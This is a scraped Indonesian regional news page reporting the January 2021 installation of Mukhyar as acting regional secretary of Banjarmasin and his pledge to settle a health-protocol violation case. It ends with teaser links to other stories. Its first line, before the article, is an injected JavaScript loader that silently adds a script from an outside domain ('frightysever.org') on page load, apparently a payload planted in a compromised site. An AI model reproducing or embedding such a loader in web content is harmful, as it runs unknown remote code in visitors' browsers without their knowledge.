(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah Kota Banjarmasin resmi melantik Drs H Mukhyar MAP sebagai Penjabat Sementara (Pjs) Sekretaris Daerah (Sekda), Senin (11/01/2021).
Mukhyar dipercaya oleh Wali Kota Banjarmasin H Ibnu Sina untuk menggantikan posisi H Hamli Kursani yang purna tugas per 1 Januari 2021 kemarin. Dilantiknya Pjs Sekda Kota Banjarmasin, Ibnu Sina sendiri mengharapkan roda pemerintahan dapat berjalan lebih baik.
Usai dilantik, sejumlah pekerjaan rumah menanti Mukhyar. Pria yang sebelumnya menjabat sebagai Kepala Dinas Lingkungan Hidup (DLH) Kota Banjarmasin itu berkomitmen untuk segera melaksanakan tugas-tugas yang diamanahkan kepadanya.
Menurut Mukhyar, tugas utama yang kini harus dilakukan dalam waktu dekat ini adalah mempersiapkan seleksi untuk mengisi jabatan definitif Sekda Kota Banjarmasin.
“Ke depan tugas utama kami adalah mempersiapkan dan melaksanakan seleksi untuk jabatan Sekda defiitif. Ini sesuai dengan arahan pak Wali Kota. Mudah-mudahan dalam tiga bulan ke depan semuanya dapat terselesaikan,” tuturnya.
Sebagai Pjs Sekda Banjarmasin, Mukhyar secara otomatis juga menjadi Ketua Majelis Pertimbangan Penjatuhan Hukuman Disiplin Pegawai (MPPHDP).
Terkait jabatan tersebut juga, Mukhyar dituntut menyelesaikan kasus pelanggaran Protokol Kesehatan (Prokes) oleh oknum Dinas Kesehatan (Dinkes) saat puncak peringatan Hari Kesehatan Nasional (HKN) ke-56 beberapa bulan lalu.
Aksi joget pegawai Dinas Kesehatan Kota Banjarmasin saat HKN ke-56 pertengahan November lalu sempat viral di media sosial karena mengindahkan protokol kesehatan, dan terlihat tidak menjaga jarak. Padahal seharusnya Dinas Kesehatan menjadi contoh dalam penerapan prokes di segala kegiatan.
Walaupun Kepala Dinas Kesehatan Machli Riyadi telah menyampaikan permintaan maafnya dan menganggap bahwa kejadian hanya spontanitas dari tenaga kesehatan yang jenuh berbulan-bulan menangani Covid-19.
Mukhyar berjanji akan menyelesaikan kasus ini secepat mungkin. Apalagi persoalan itu sudah cukup lama berlarut-larut tanpa kepastian hukum, setelah sebelumnya mendapat teguran keras secara tertulis dari Gubernur Kalsel.
“Segera mungkin akan kita tindak lanjuti, supaya ada kepastian. Apalagi kasus ini sudah lama jadi pertanyaan kawan-kawan,” tutupnya. (kanalkalimantan.com/putra)
KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More
KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More
This website uses cookies.